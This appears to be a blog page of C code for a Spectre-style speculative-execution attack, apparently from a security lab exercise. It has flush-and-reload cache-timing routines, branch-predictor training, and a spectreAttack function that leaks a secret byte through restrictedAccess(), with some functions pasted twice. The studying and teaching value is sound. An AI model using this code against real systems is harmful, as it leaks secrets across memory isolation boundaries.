void flushSideChannel() { int i; // Write to array to bring it to RAM to prevent Copy-on-write for (i = 0; i < 256; i++) array[i*4096 + DELTA] = 1; //flush the values of the array from cache for (i = 0; i < 256; i++) _mm_clflush(&array[i*4096 +DELTA]); }
void reloadSideChannel() { int junk=0; register uint64_t time1, time2; volatile uint8_t *addr; int i; for(i = 0; i < 256; i++){ addr = &array[i*4096 + DELTA]; time1 = __rdtscp(&junk); junk = *addr; time2 = __rdtscp(&junk) - time1; if (time2 <= CACHE_HIT_THRESHOLD){ printf("array[%d*4096 + %d] is in cache.\n", i, DELTA); printf("The Secret = %d.\n",i); } } }
int main() { int i; // FLUSH the probing array flushSideChannel(); // Train the CPU to take the true branch inside victim() for (i = 0; i < 10; i++) { _mm_clflush(&size); victim(i); } // Exploit the out-of-order execution _mm_clflush(&size); for (i = 0; i < 256; i++) _mm_clflush(&array[i*4096 + DELTA]); victim(97); // RELOAD the probing array reloadSideChannel(); return (0); }
void flushSideChannel() { int i; // Write to array to bring it to RAM to prevent Copy-on-write for (i = 0; i < 256; i++) array[i*4096 + DELTA] = 1; //flush the values of the array from cache for (i = 0; i < 256; i++) _mm_clflush(&array[i*4096 +DELTA]); }
void reloadSideChannel() { int junk=0; register uint64_t time1, time2; volatile uint8_t *addr; int i; for(i = 0; i < 256; i++){ addr = &array[i*4096 + DELTA]; time1 = __rdtscp(&junk); junk = *addr; time2 = __rdtscp(&junk) - time1; if (time2 <= CACHE_HIT_THRESHOLD){ printf("array[%d*4096 + %d] is in cache.\n", i, DELTA); printf("The Secret = %d.\n",i); } } } void spectreAttack(size_t larger_x) { int i; uint8_t s; volatile int z; // Train the CPU to take the true branch inside restrictedAccess(). for (i = 0; i < 10; i++) { _mm_clflush(&buffer_size); restrictedAccess(i); } // Flush buffer_size and array[] from the cache. _mm_clflush(&buffer_size); for (i = 0; i < 256; i++) { _mm_clflush(&array[i*4096 + DELTA]); } for (z = 0; z < 100; z++) { } // Ask restrictedAccess() to return the secret in out-of-order execution. s = restrictedAccess(larger_x); array[s*4096 + DELTA] += 88; }
Reprint policy:
All articles in this blog are used except for special statements
CC BY 4.0
reprint polocy. If reproduced, please indicate source
x-codingman
!